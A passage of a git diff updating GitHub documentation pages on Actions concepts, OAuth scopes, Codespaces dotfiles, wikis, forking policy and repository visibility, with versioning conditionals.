pushes a commit to a repository or when an issue or pull request is created. You can also use the [repository dispatch webhook](/rest/reference/repos#create-a-repository-dispatch-event) to trigger a workflow when an external event occurs. For a complete list of events that can be used to trigger workflows, see [Events that trigger workflows](/actions/reference/events-that-trigger-workflows). +An event is a specific activity in a repository that triggers a workflow run. For example, activity can originate from {% data variables.product.prodname_dotcom %} when someone creates a pull request, opens an issue, or pushes a commit to a repository. You can also trigger a workflow run on a schedule, by [posting to a REST API](/rest/reference/repos#create-a-repository-dispatch-event), or manually. + +For a complete list of events that can be used to trigger workflows, see [Events that trigger workflows](/actions/reference/events-that-trigger-workflows). ### Jobs -A job is a set of steps that execute on the same runner. By default, a workflow with multiple jobs will run those jobs in parallel. You can also configure a workflow to run jobs sequentially. For example, a workflow can have two sequential jobs that build and test code, where the test job is dependent on the status of the build job. If the build job fails, the test job will not run. +A job is a set of _steps_ in a workflow that execute on the same runner. Each step is either a shell script that will be executed, or an _action_ that will be run. Steps are executed in order and are dependent on each other. Since each step is executed on the same runner, you can share data from one step to another. For example, you can have a step that builds your application followed by a step that tests the application that was built. -### Steps - -A step is an individual task that can run commands in a job. A step can be either an _action_ or a shell command. Each step in a job executes on the same runner, allowing the actions in that job to share data with each other. +You can configure a job's dependencies with other jobs; by default, jobs have no dependencies and run in parallel with each other. When a job takes a dependency on another job, it will wait for the dependent job to complete before it can run. For example, you may have multiple build jobs for different architectures that have no dependencies, and a packaging job that is dependent on those jobs. The build jobs will run in parallel, and when they have all completed successfully, the packaging job will run. ### Actions -_Actions_ are standalone commands that are combined into _steps_ to create a _job_. Actions are the smallest portable building block of a workflow. You can create your own actions, or use actions created by the {% data variables.product.prodname_dotcom %} community. To use an action in a workflow, you must include it as a step. +An _action_ is a custom application for the {% data variables.product.prodname_actions %} platform that performs a complex but frequently repeated task. Use an action to help reduce the amount of repetitive code that you write in your workflow files. An action can pull your git repository from {% data variables.product.prodname_dotcom %}, set up the correct toolchain for your build environment, or set up the authentication to your cloud provider. + +You can write your own actions, or you can find actions to use in your workflows in the {% data variables.product.prodname_marketplace %}. ### Runners -{% ifversion ghae %}A runner is a server that has the [{% data variables.product.prodname_actions %} runner application](https://github.com/actions/runner) installed. For {% data variables.product.prodname_ghe_managed %}, you can use the security hardened {% data variables.actions.hosted_runner %}s which are bundled with your instance in the cloud. A runner listens for available jobs, runs one job at a time, and reports the progress, logs, and results back to {% data variables.product.prodname_dotcom %}. {% data variables.actions.hosted_runner %}s run each workflow job in a fresh virtual environment. For more information, see "[About {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/about-ae-hosted-runners)." +{% ifversion ghae %} +{% data reusables.actions.about-runners %} For {% data variables.product.prodname_ghe_managed %}, you can use the security hardened {% data variables.actions.hosted_runner %}s that are bundled with your instance in the cloud. If you need a different operating system or require a specific hardware configuration, you can host your own runners. For information on self-hosted runners, see "[Hosting your own runners](/actions/hosting-your-own-runners)." {% else %} -{% data reusables.actions.about-runners %} A runner listens for available jobs, runs one job at a time, and reports the progress, logs, and results back to {% data variables.product.prodname_dotcom %}. {% data variables.product.prodname_dotcom %}-hosted runners are based on Ubuntu Linux, Microsoft Windows, and macOS, and each job in a workflow runs in a fresh virtual environment. For information on {% data variables.product.prodname_dotcom %}-hosted runners, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)." If you need a different operating system or require a specific hardware configuration, you can host your own runners. For information on self-hosted runners, see "[Hosting your own runners](/actions/hosting-your-own-runners)." +{% data reusables.actions.about-runners %} Each runner can run a single job at a time. {% data variables.product.prodname_dotcom %} provides Ubuntu Linux, Microsoft Windows, and macOS runners to run your workflows; each workflow run executes in a fresh, newly-provisioned virtual machine. If you need a different operating system or require a specific hardware configuration, you can host your own runners. For information on self-hosted runners, see "[Hosting your own runners](/actions/hosting-your-own-runners)." {% endif %} ## Create an example workflow -{% data variables.product.prodname_actions %} uses YAML syntax to define the events, jobs, and steps. These YAML files are stored in your code repository, in a directory called `.github/workflows`. +{% data variables.product.prodname_actions %} uses YAML syntax to define the workflow. Each workflow is stored as a separate YAML file in your code repository, in a directory called `.github/workflows`. You can create an example workflow in your repository that automatically triggers a series of commands whenever code is pushed. In this workflow, {% data variables.product.prodname_actions %} checks out the pushed code, installs the software dependencies, and runs `bats -v`. @@ -112,7 +119,7 @@ To help you understand how YAML syntax is used to create a workflow file, this s ``` - Specify the event that automatically triggers the workflow file. This example uses the push event, so that the jobs run every time someone pushes a change to the repository. You can set up the workflow to only run on certain branches, paths, or tags. For syntax examples including or excluding branches, paths, or tags, see "Workflow syntax for {% data variables.product.prodname_actions %}." +Specifies the trigger for this workflow. This example uses the push event, so a workflow run is triggered every time someone pushes a change to the repository or merges a pull request. This is triggered by a push to every branch; for examples of syntax that runs only on pushes to specific branches, paths, or tags, see "Workflow syntax for {% data variables.product.prodname_actions %}." @@ -123,7 +130,7 @@ To help you understand how YAML syntax is used to create a workflow file, this s ``` - Groups together all the jobs that run in the learn-github-actions workflow file. + Groups together all the jobs that run in the learn-github-actions workflow. @@ -134,7 +141,7 @@ To help you understand how YAML syntax is used to create a workflow file, this s ``` - Defines the name of the check-bats-version job stored within the jobs section. +Defines a job named check-bats-version. The child keys will define properties of the job. @@ -145,7 +152,7 @@ To help you understand how YAML syntax is used to create a workflow file, this s ``` - Configures the job to run on an Ubuntu Linux runner. This means that the job will execute on a fresh virtual machine hosted by GitHub. For syntax examples using other runners, see "Workflow syntax for {% data variables.product.prodname_actions %}." + Configures the job to run on the latest version of an Ubuntu Linux runner. This means that the job will execute on a fresh virtual machine hosted by GitHub. For syntax examples using other runners, see "Workflow syntax for {% data variables.product.prodname_actions %}." @@ -156,7 +163,7 @@ To help you understand how YAML syntax is used to create a workflow file, this s ``` - Groups together all the steps that run in the check-bats-version job. Each item nested under this section is a separate action or shell command. + Groups together all the steps that run in the check-bats-version job. Each item nested under this section is a separate action or shell script. @@ -167,7 +174,7 @@ To help you understand how YAML syntax is used to create a workflow file, this s ``` - The uses keyword tells the job to retrieve v2 of the community action named actions/checkout@v2. This is an action that checks out your repository and downloads it to the runner, allowing you to run actions against your code (such as testing tools). You must use the checkout action any time your workflow will run against the repository's code or you are using an action defined in the repository. +The uses keyword specifies that this step will run v2 of the actions/checkout action. This is an action that checks out your repository onto the runner, allowing you to run scripts or other actions against your code (such as build and test tools). You should use the checkout action any time your workflow will run against the repository's code. @@ -180,7 +187,7 @@ To help you understand how YAML syntax is used to create a workflow file, this s ``` - This step uses the actions/setup-node@v2 action to install the specified version of the node software package on the runner, which gives you access to the npm command. + This step uses the actions/setup-node@v2 action to install the specified version of the Node.js (this example uses v14). This puts both the node and npm commands in your PATH. @@ -209,13 +216,13 @@ To help you understand how YAML syntax is used to create a workflow file, this s ### Visualizing the workflow file -In this diagram, you can see the workflow file you just created and how the {% data variables.product.prodname_actions %} components are organized in a hierarchy. Each step executes a single action or shell command. Steps 1 and 2 use prebuilt community actions. Steps 3 and 4 run shell commands directly on the runner. To find more prebuilt actions for your workflows, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)." +In this diagram, you can see the workflow file you just created and how the {% data variables.product.prodname_actions %} components are organized in a hierarchy. Each step executes a single action or shell script. Steps 1 and 2 run actions, while steps 3 and 4 run shell scripts. To find more prebuilt actions for your workflows, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)." ![Workflow overview](/assets/images/help/images/overview-actions-event.png) -## Viewing the job's activity +## Viewing the workflow's activity -Once your job has started running, you can {% ifversion fpt or ghes > 3.0 or ghae or ghec %}see a visualization graph of the run's progress and {% endif %}view each step's activity on {% data variables.product.prodname_dotcom %}. +Once your workflow has started running, you can {% ifversion fpt or ghes > 3.0 or ghae or ghec %}see a visualization graph of the run's progress and {% endif %}view each step's activity on {% data variables.product.prodname_dotcom %}. {% data reusables.repositories.navigate-to-repo %} 1. Under your repository name, click **Actions**. diff --git a/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md b/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md index 74e09f9565..e70e25bdd2 100644 --- a/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md +++ b/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md @@ -67,7 +67,7 @@ There are several types of data that applications can request. | Notifications | Notification access allows applications to read your {% data variables.product.product_name %} notifications, such as comments on issues and pull requests. However, applications remain unable to access anything in your repositories. | | Organizations and teams | Organization and teams access allows apps to access and manage organization and team membership. | | Personal user data | User data includes information found in your user profile, like your name, e-mail address, and location. | -| Repositories | Repository information includes the names of contributors, the branches you've created, and the actual files within your repository. Applications can request access for either {% ifversion not ghae %}public{% else %}internal{% endif %} or private repositories on a user-wide level. | +| Repositories | Repository information includes the names of contributors, the branches you've created, and the actual files within your repository. An application can request access to all of your repositories of any visibility level. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." | | Repository delete | Applications can request to delete repositories that you administer, but they won't have access to your code. | ## Requesting updated permissions diff --git a/content/code-security/security-overview/about-the-security-overview.md b/content/code-security/security-overview/about-the-security-overview.md index 84bd9c8b05..15013c110e 100644 --- a/content/code-security/security-overview/about-the-security-overview.md +++ b/content/code-security/security-overview/about-the-security-overview.md @@ -27,7 +27,7 @@ You can use the security overview for a high-level view of the security status o The security overview indicates whether {% ifversion fpt or ghes > 3.1 or ghec %}security{% endif %}{% ifversion ghae-next %}{% data variables.product.prodname_GH_advanced_security %}{% endif %} features are enabled for repositories owned by your organization and consolidates alerts for each feature.{% ifversion fpt or ghes > 3.1 or ghec %} Security features include {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_secret_scanning %}, as well as {% data variables.product.prodname_dependabot_alerts %}.{% endif %} For more information about {% data variables.product.prodname_GH_advanced_security %} features, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)."{% ifversion fpt or ghes > 3.1 or ghec %} For more information about {% data variables.product.prodname_dependabot_alerts %}, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)."{% endif %} -For more information about securing your code at the repository and organization levels, see "[Securing your repository](/code-security/getting-started/securing-your-repository)" and "[Securing your organization](/code-security/getting-started/securing-your-organization)." +For more information about securing your code at the repository and organization levels, see "[Securing your repository](/code-security/getting-started/securing-your-repository)" and "[Securing your organization](/code-security/getting-started/securing-your-organization)." In the security overview, you can view, sort, and filter alerts to understand the security risks in your organization and in specific repositories. You can apply multiple filters to focus on areas of interest. For example, you can identify private repositories that have a high number of {% data variables.product.prodname_dependabot_alerts %} or repositories that have no {% data variables.product.prodname_code_scanning %} alerts. @@ -105,11 +105,15 @@ The level of risk for a repository is determined by the number and severity of a ### Filter by repository type | Qualifier | Description | -| -------- | -------- |{% ifversion fpt or ghes > 3.1 or ghec %} -| `is:public` | Display public repositories. |{% endif %} +| -------- | -------- | +{%- ifversion fpt or ghes > 3.1 or ghec %} +| `is:public` | Display public repositories. | +{% elsif ghes or ghec or ghae %} | `is:internal` | Display internal repositories. | +{%- endif %} | `is:private` | Display private repositories. | | `archived:true` | Display archived repositories. | +| `archived:true` | Display archived repositories. | ### Filter by team diff --git a/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md b/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md index fb6299d73c..bb829a1338 100644 --- a/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md +++ b/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md @@ -41,13 +41,13 @@ For more information, see the [Settings Sync guide](https://code.visualstudio.co ## Dotfiles -Dotfiles are files and folders on Unix-like systems starting with `.` that control the configuration of applications and shells on your system. You can store and manage your dotfiles in a repository on {% data variables.product.prodname_dotcom %}. For advice and tutorials about what to include in your `dotfiles` repository, see [GitHub does dotfiles](https://dotfiles.github.io/). +Dotfiles are files and folders on Unix-like systems starting with `.` that control the configuration of applications and shells on your system. You can store and manage your dotfiles in a repository on {% data variables.product.prodname_dotcom %}. For advice and tutorials about what to include in your dotfiles repository, see [GitHub does dotfiles](https://dotfiles.github.io/). -If your user account on {% data variables.product.prodname_dotcom %} owns a public repository named `dotfiles`, {% data variables.product.prodname_dotcom %} can automatically use this repository to personalize your codespace environment, once enabled from your [personal Codespaces settings](https://github.com/settings/codespaces). Private `dotfiles` repositories are not currently supported. +Your dotfiles repository might include your shell aliases and preferences, any tools you want to install, or any other codespace personalization you want to make. -Your `dotfiles` repository might include your shell aliases and preferences, any tools you want to install, or any other codespace personalization you want to make. +You can configure {% data variables.product.prodname_codespaces %} to use dotfiles from any repository you own by selecting that repository in your [personal {% data variables.product.prodname_codespaces %} settings](https://github.com/settings/codespaces). -When you create a new codespace, {% data variables.product.prodname_dotcom %} clones your `dotfiles` repository to the codespace environment, and looks for one of the following files to set up the environment. +When you create a new codespace, {% data variables.product.prodname_dotcom %} clones your selected repository to the codespace environment, and looks for one of the following files to set up the environment. * _install.sh_ * _install_ @@ -58,9 +58,9 @@ When you create a new codespace, {% data variables.product.prodname_dotcom %} cl * _setup_ * _script/setup_ -If none of these files are found, then any files or folders in `dotfiles` starting with `.` are symlinked to the codespace's `~` or `$HOME` directory. +If none of these files are found, then any files or folders in your selected dotfiles repository starting with `.` are symlinked to the codespace's `~` or `$HOME` directory. -Any changes to your `dotfiles` repository will apply only to each new codespace, and do not affect any existing codespace. +Any changes to your selected dotfiles repository will apply only to each new codespace, and do not affect any existing codespace. {% note %} @@ -70,18 +70,20 @@ Any changes to your `dotfiles` repository will apply only to each new codespace, ### Enabling your dotfiles repository for {% data variables.product.prodname_codespaces %} -You can use your public `dotfiles` repository to personalize your {% data variables.product.prodname_codespaces %} environment. Once you set up that repository, you can add your scripts, preferences, and configurations to it. You then need to enable your dotfiles from your personal {% data variables.product.prodname_codespaces %} settings page. +You can use your selected dotfiles repository to personalize your {% data variables.product.prodname_codespaces %} environment. Once you choose your dotfiles repository, you can add your scripts, preferences, and configurations to it. You then need to enable your dotfiles from your personal {% data variables.product.prodname_codespaces %} settings page. + +{% warning %} + +**Warning:** Dotfiles have the ability to run arbitrary scripts, which may contain unexpected or malicious code. Before installing a dotfiles repo, we recommend checking scripts to ensure they don't perform any unexpected actions. + +{% endwarning %} {% data reusables.user_settings.access_settings %} {% data reusables.user_settings.codespaces-tab %} 1. Under "Dotfiles", select "Automatically install dotfiles" so that {% data variables.product.prodname_codespaces %} automatically installs your dotfiles into every new codespace you create. - ![Installing dotfiles](/assets/images/help/codespaces/install-dotfiles.png) - - {% note %} - - **Note:** This option is only available if you've created a public `dotfiles` repository for your user account. - - {% endnote %} + ![Installing dotfiles](/assets/images/help/codespaces/install-custom-dotfiles.png) +2. Once "Automatically install dotfiles" is selected, select the repo you would like to install dotfiles from. + ![Selecting a dotfiles repo](/assets/images/help/codespaces/select-dotfiles-repo.png) You can add further script, preferences, configuration files to your dotfiles repository or edit existing files whenever you want. Changes to settings will only be picked up by new codespaces. diff --git a/content/communities/documenting-your-project-with-wikis/about-wikis.md b/content/communities/documenting-your-project-with-wikis/about-wikis.md index 9baf5f7702..9d6ac99ff3 100644 --- a/content/communities/documenting-your-project-with-wikis/about-wikis.md +++ b/content/communities/documenting-your-project-with-wikis/about-wikis.md @@ -19,7 +19,7 @@ Every repository on {% ifversion ghae %}{% data variables.product.product_name % With wikis, you can write content just like everywhere else on {% data variables.product.product_name %}. For more information, see "[Getting started with writing and formatting on {% data variables.product.prodname_dotcom %}](/articles/getting-started-with-writing-and-formatting-on-github)." We use [our open-source Markup library](https://github.com/github/markup) to convert different formats into HTML, so you can choose to write in Markdown or any other supported format. -{% ifversion fpt or ghes or ghec %}If you create a wiki in a public repository, the wiki is available to {% ifversion ghes %}anyone with access to {% data variables.product.product_location %}{% else %}the public{% endif %}. {% endif %}If you create a wiki in an internal or private repository, only {% ifversion fpt or ghes or ghec %}people{% elsif ghae %}enterprise members{% endif %} with access to the repository can access the wiki. For more information, see "[Setting repository visibility](/articles/setting-repository-visibility)." +{% ifversion fpt or ghes or ghec %}If you create a wiki in a public repository, the wiki is available to {% ifversion ghes %}anyone with access to {% data variables.product.product_location %}{% else %}the public{% endif %}. {% endif %}If you create a wiki in a private{% ifversion ghec or ghes %} or internal{% endif %} repository, only {% ifversion fpt or ghes or ghec %}people{% elsif ghae %}enterprise members{% endif %} with access to the repository can access the wiki. For more information, see "[Setting repository visibility](/articles/setting-repository-visibility)." You can edit wikis directly on {% data variables.product.product_name %}, or you can edit wiki files locally. By default, only people with write access to your repository can make changes to wikis, although you can allow everyone on {% data variables.product.product_location %} to contribute to a wiki in {% ifversion ghae %}an internal{% else %}a public{% endif %} repository. For more information, see "[Changing access permissions for wikis](/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis)". diff --git a/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md b/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md index 440811b7ab..3dc9de0fb9 100644 --- a/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md +++ b/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md @@ -43,15 +43,15 @@ Name | Description **`(no scope)`** | Grants read-only access to public information (including user profile info, repository info, and gists){% endif %}{% ifversion ghes or ghae %} **`site_admin`** | Grants site administrators access to [{% data variables.product.prodname_ghe_server %} Administration API endpoints](/rest/reference/enterprise-admin).{% endif %} **`repo`** | Grants full access to repositories, including private repositories. That includes read/write access to code, commit statuses, repository and organization projects, invitations, collaborators, adding team memberships, deployment statuses, and repository webhooks for repositories and organizations. Also grants ability to manage user projects. - `repo:status`| Grants read/write access to {% ifversion not ghae %}public{% else %}internal{% endif %} and private repository commit statuses. This scope is only necessary to grant other users or services access to private repository commit statuses *without* granting access to the code. + `repo:status`| Grants read/write access to commit statuses in {% ifversion fpt %}public and private{% elsif ghec or ghes %}public, private, and internal{% elsif ghae %}private and internal{% endif %} repositories. This scope is only necessary to grant other users or services access to private repository commit statuses *without* granting access to the code.  `repo_deployment`| Grants access to [deployment statuses](/rest/reference/repos#deployments) for {% ifversion not ghae %}public{% else %}internal{% endif %} and private repositories. This scope is only necessary to grant other users or services access to deployment statuses, *without* granting access to the code.{% ifversion not ghae %}  `public_repo`| Limits access to public repositories. That includes read/write access to code, commit statuses, repository projects, collaborators, and deployment statuses for public repositories and organizations. Also required for starring public repositories.{% endif %}  `repo:invite` | Grants accept/decline abilities for invitations to collaborate on a repository. This scope is only necessary to grant other users or services access to invites *without* granting access to the code.{% ifversion fpt or ghes > 3.0 or ghec %}  `security_events` | Grants:
read and write access to security events in the [{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning)
read and write access to security events in the [{% data variables.product.prodname_secret_scanning %} API](/rest/reference/secret-scanning)
This scope is only necessary to grant other users or services access to security events *without* granting access to the code.{% endif %}{% ifversion ghes < 3.1 %}  `security_events` | Grants read and write access to security events in the [{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning). This scope is only necessary to grant other users or services access to security events *without* granting access to the code.{% endif %} -**`admin:repo_hook`** | Grants read, write, ping, and delete access to repository hooks in {% ifversion not ghae %}public{% else %}internal{% endif %} and private repositories. The `repo` {% ifversion not ghae %}and `public_repo` scopes grant{% else %}scope grants{% endif %} full access to repositories, including repository hooks. Use the `admin:repo_hook` scope to limit access to only repository hooks. - `write:repo_hook` | Grants read, write, and ping access to hooks in {% ifversion not ghae %}public{% else %}internal{% endif %} or private repositories. - `read:repo_hook`| Grants read and ping access to hooks in {% ifversion not ghae %}public{% else %}internal{% endif %} or private repositories. +**`admin:repo_hook`** | Grants read, write, ping, and delete access to repository hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories. The `repo` {% ifversion fpt or ghec or ghes %}and `public_repo` scopes grant{% else %}scope grants{% endif %} full access to repositories, including repository hooks. Use the `admin:repo_hook` scope to limit access to only repository hooks. + `write:repo_hook` | Grants read, write, and ping access to hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories. + `read:repo_hook`| Grants read and ping access to hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories. **`admin:org`** | Fully manage the organization and its teams, projects, and memberships.  `write:org`| Read and write access to organization membership, organization projects, and team membership.  `read:org`| Read-only access to organization membership, organization projects, and team membership. diff --git a/content/developers/index.md b/content/developers/index.md index 742e708baf..3959060072 100644 --- a/content/developers/index.md +++ b/content/developers/index.md @@ -12,4 +12,3 @@ children: - /apps - /github-marketplace --- - diff --git a/content/github/index.md b/content/github/index.md index 15156bc2c1..a526e281f2 100644 --- a/content/github/index.md +++ b/content/github/index.md @@ -22,4 +22,3 @@ children: - /site-policy-deprecated - /setting-up-and-managing-your-enterprise --- - diff --git a/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md b/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md index 8baffb2381..160e49af6a 100644 --- a/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md +++ b/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md @@ -24,7 +24,9 @@ Only organization owners can remove members from an organization. **Warning:** When you remove members from an organization: - The paid license count does not automatically downgrade. To pay for fewer licenses after removing users from your organization, follow the steps in "[Downgrading your organization's paid seats](/articles/downgrading-your-organization-s-paid-seats)." - Removed members will lose access to private forks of your organization's private repositories, but they may still have local copies. However, they cannot sync local copies with your organization's repositories. Their private forks can be restored if the user is [reinstated as an organization member](/articles/reinstating-a-former-member-of-your-organization) within three months of being removed from the organization. Ultimately, you are responsible for ensuring that people who have lost access to a repository delete any confidential information or intellectual property. -- If your organization is owned by an enterprise account, removed members will also lose access to private forks of your organization's internal repositories, if the removed member is not a member of any other organization owned by the same enterprise account. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)." +{%- ifversion ghec %} +- Removed members will also lose access to private forks of your organization's internal repositories, if the removed member is not a member of any other organization owned by the same enterprise account. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)." +{%- endif %} - Any organization invitations sent by a removed member, that have not been accepted, are cancelled and will not be accessible. {% endwarning %} diff --git a/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md b/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md index 661bb8ab17..841dca73ea 100644 --- a/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md +++ b/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md @@ -1,6 +1,6 @@ --- title: Managing the forking policy for your organization -intro: 'You can allow or prevent the forking of any private{% ifversion fpt or ghes or ghae or ghec %} and internal{% endif %} repositories owned by your organization.' +intro: 'You can allow or prevent the forking of any private{% ifversion ghes or ghae or ghec %} and internal{% endif %} repositories owned by your organization.' redirect_from: - /articles/allowing-people-to-fork-private-repositories-in-your-organization - /github/setting-up-and-managing-organizations-and-teams/allowing-people-to-fork-private-repositories-in-your-organization @@ -17,17 +17,19 @@ topics: shortTitle: Manage forking policy --- -By default, new organizations are configured to disallow the forking of private{% ifversion fpt or ghes or ghae or ghec %} and internal{% endif %} repositories. +By default, new organizations are configured to disallow the forking of private{% ifversion ghes or ghec or ghae %} and internal{% endif %} repositories. -If you allow forking of private{% ifversion fpt or ghes or ghae or ghec %} and internal{% endif %} repositories at the organization level, you can also configure the ability to fork a specific private{% ifversion fpt or ghes or ghae or ghec %} or internal{% endif %} repository. For more information, see "[Managing the forking policy for your repository](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)." - -{% data reusables.organizations.internal-repos-enterprise %} +If you allow forking of private{% ifversion ghes or ghec or ghae %} and internal{% endif %} repositories at the organization level, you can also configure the ability to fork a specific private{% ifversion ghes or ghec or ghae %} or internal{% endif %} repository. For more information, see "[Managing the forking policy for your repository](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)." {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} -{% data reusables.organizations.member-privileges %} -5. Under "Repository forking", select **Allow forking of private repositories** or **Allow forking of private and internal repositories**. - ![Checkbox to allow or disallow forking in the organization](/assets/images/help/repository/allow-disable-forking-organization.png) +1. Under "Repository forking", select **Allow forking of private {% ifversion ghec or ghes or ghae %}and internal {% endif %}repositories**. + + {%- ifversion fpt %} + ![Checkbox to allow or disallow forking in the organization](/assets/images/help/repository/allow-disable-forking-fpt.png) + {%- elsif ghes or ghec or ghae %} + ![Checkbox to allow or disallow forking in the organization](/assets/images/help/repository/allow-disable-forking-organization.png) + {%- endif %} 6. Click **Save**. ## Further reading diff --git a/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md b/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md index 8e5bfa9283..7f1c181bd9 100644 --- a/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md +++ b/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md @@ -15,11 +15,11 @@ topics: shortTitle: Restrict repository creation --- -You can choose whether members can create repositories in your organization. If you allow members to create repositories, you can choose which types of repositories members can create.{% ifversion fpt or ghec %} To allow members to create private repositories only, your organization must use {% data variables.product.prodname_ghe_cloud %}.{% endif %} For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." +You can choose whether members can create repositories in your organization. If you allow members to create repositories, you can choose which types of repositories members can create.{% ifversion fpt or ghec %} To allow members to create private repositories only, your organization must use {% data variables.product.prodname_ghe_cloud %}.{% endif %}{% ifversion fpt %} For more information, see "[About repositories](/enterprise-cloud@latest/repositories/creating-and-managing-repositories/about-repositories)" in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %}. Organization owners can always create any type of repository. - -{% ifversion fpt or ghec %}Enterprise owners{% else %}Site administrators{% endif %} can restrict the options you have available for your organization's repository creation policy. For more information, see "[Restricting repository creation in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)." +{% ifversion ghec or ghae or ghes %} +{% ifversion ghec or ghae %}Enterprise owners{% elsif ghes %}Site administrators{% endif %} can restrict the options you have available for your organization's repository creation policy.{% ifversion ghec or ghes or ghae %} For more information, see "[Restricting repository creation in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)."{% endif %}{% endif %} {% warning %} @@ -27,11 +27,14 @@ Organization owners can always create any type of repository. {% endwarning %} -{% data reusables.organizations.internal-repos-enterprise %} - {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.member-privileges %} 5. Under "Repository creation", select one or more options. - ![Repository creation options](/assets/images/help/organizations/repo-creation-perms-radio-buttons.png) + + {%- ifversion ghes or ghec or ghae %} + ![Repository creation options](/assets/images/help/organizations/repo-creation-perms-radio-buttons.png) + {%- elsif fpt %} + ![Repository creation options](/assets/images/help/organizations/repo-creation-perms-radio-buttons-fpt.png) + {%- endif %} 6. Click **Save**. diff --git a/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md b/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md index d71fb84226..9d9b203f5a 100644 --- a/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md +++ b/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md @@ -60,15 +60,11 @@ If a private repository is made public and then deleted, its private forks will {% endif %} -{% ifversion fpt or ghae or ghes or ghec %} +{% ifversion ghes or ghec or ghae %} ## Changing the visibility of an internal repository -{% note %} -**Note:** {% data reusables.gated-features.internal-repos %} - -{% endnote %} If the policy for your enterprise permits forking, any fork of an internal repository will be private. If you change the visibility of an internal repository, any fork owned by an organization or user account will remain private. diff --git a/content/repositories/creating-and-managing-repositories/about-repositories.md b/content/repositories/creating-and-managing-repositories/about-repositories.md index a02b331fcb..6a27e9ea41 100644 --- a/content/repositories/creating-and-managing-repositories/about-repositories.md +++ b/content/repositories/creating-and-managing-repositories/about-repositories.md @@ -44,31 +44,38 @@ You can use repositories to manage your work and collaborate with others. ## About repository visibility -You can restrict who has access to a repository by choosing a repository's visibility: {% ifversion fpt or ghes or ghec %}public, internal, or private{% elsif ghae %}private or internal{% else %} public or private{% endif %}. +You can restrict who has access to a repository by choosing a repository's visibility: {% ifversion ghes or ghec %}public, internal, or private{% elsif ghae %}private or internal{% else %} public or private{% endif %}. -{% ifversion ghae %}When you create a repository owned by your user account, the repository is always private. When you create a repository owned by an organization, you can choose to make the repository private or internal.{% else %}When you create a repository, you can choose to make the repository public or private.{% ifversion fpt or ghes or ghec %} If you're creating the repository in an organization{% ifversion fpt or ghec %} that is owned by an enterprise account{% endif %}, you can also choose to make the repository internal.{% endif %}{% endif %} +{% ifversion fpt or ghec or ghes %} + +When you create a repository, you can choose to make the repository public or private.{% ifversion ghec or ghes %} If you're creating the repository in an organization{% ifversion ghec %} that is owned by an enterprise account{% endif %}, you can also choose to make the repository internal.{% endif %}{% endif %}{% ifversion fpt %} Repositories in organizations that use {% data variables.product.prodname_ghe_cloud %} can also be created with internal visibility. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)" in the {% data variables.product.prodname_ghe_cloud %} documentation. -{% ifversion ghes %} 